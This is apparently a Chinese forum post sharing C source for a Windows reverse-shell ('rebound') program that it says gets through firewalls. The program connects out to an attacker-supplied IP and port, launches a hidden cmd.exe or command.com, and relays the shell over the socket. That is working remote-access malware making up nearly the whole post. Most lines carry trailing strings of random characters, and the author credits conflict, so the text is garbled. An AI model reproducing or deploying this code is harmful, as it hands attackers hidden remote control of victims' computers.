这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P1>AOH2yG
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/* ============================== 9/ovKpY
Rebound port in Windows NT R3.*dqo$
By wind,2006/7 u eb-2[=
===============================*/ CON0E~"
#include )Di \_/G
#include \Q$HXK
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#pragma comment(lib,"wsock32.lib") Of}|ib^t
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void OutputShell(); ?knYY>Kzh1
SOCKET sClient; ;T +pu>)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j+4H}XyE
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void main(int argc,char **argv) W
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{ B~o-l*
WSADATA stWsaData; yl&UM
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int nRet; _`-1aA&n~
SOCKADDR_IN stSaiClient,stSaiServer; F_3:bX
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if(argc != 3) ?Ke
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{ ?
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printf("Useage:\n\rRebound DestIP DestPort\n"); s,]%dG!
return; +_l^ #?o,
} n'FwM\
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WSAStartup(MAKEWORD(2,2),&stWsaData); KDP H6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C#pZw[
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stSaiClient.sin_family = AF_INET; rNOES3[~
stSaiClient.sin_port = htons(0); Ard]147
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =}!Mf'
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) arK_oh0B
{ P$GjF-!:
printf("Bind Socket Failed!\n"); ,3i,P(?(
return; 0C%W&;r0
} AV8T
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stSaiServer.sin_family = AF_INET; po9
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g| <wyt[
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {XurC}#\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^ZDBO/
{ =WZqQq{
printf("Connect Error!"); 5~sx:0;
return; I751 t
} 9Z"+?bv/
OutputShell(); "6ECgyD+E!
} `Mj}md;O"
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void OutputShell() 0JuD^
{ TJ8E"t*)
char szBuff[1024]; +k<w!B*
SECURITY_ATTRIBUTES stSecurityAttributes; x`RTp:#
OSVERSIONINFO stOsversionInfo; >O9o,o/6R
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d5 Edu44
STARTUPINFO stStartupInfo; lK'Rn~
char *szShell; h0vob_Fdl
PROCESS_INFORMATION stProcessInformation; [P4$Khu$
unsigned long lBytesRead; e?0q9W
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S8Fmy1#
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =SOe}!
stSecurityAttributes.lpSecurityDescriptor = 0; SAV%4
stSecurityAttributes.bInheritHandle = TRUE; qo6y %[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v60^4K>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9i5,2~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FXdD4 X)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gy:%l
stStartupInfo.wShowWindow = SW_HIDE; p{)5k
stStartupInfo.hStdInput = hReadPipe; _96~rel_P
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \vfBrN
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GetVersionEx(&stOsversionInfo); nP~({:l8X
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switch(stOsversionInfo.dwPlatformId) IxR?'
{ 1' v5/
case 1: = VLS/\A
szShell = "command.com"; {Hmo1|_S|
break; yqXH:757~
default: f
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szShell = "cmd.exe"; )py{\r9X
break; }V;+l8
} 3l<S}k@M)
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KfCoe[Vv
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send(sClient,szMsg,77,0); *1Z5+uVT[
while(1) O#EV5FeF.
{ lOwS&4UT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,5Pl\keY
if(lBytesRead) DD9 ?V}Yx
{ nfW&1a
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q}BzyC=:n
send(sClient,szBuff,lBytesRead,0); gnp~OVDqfL
} ^04Q %,
else tcr//
{ 5Ky#GuC
lBytesRead=recv(sClient,szBuff,1024,0); 2O"P2(1}v
if(lBytesRead<=0) break; l%z< (L5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CRve.e8J
} 4n1; Bh$
} %owsBO+
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return; '\fY<Q:!
}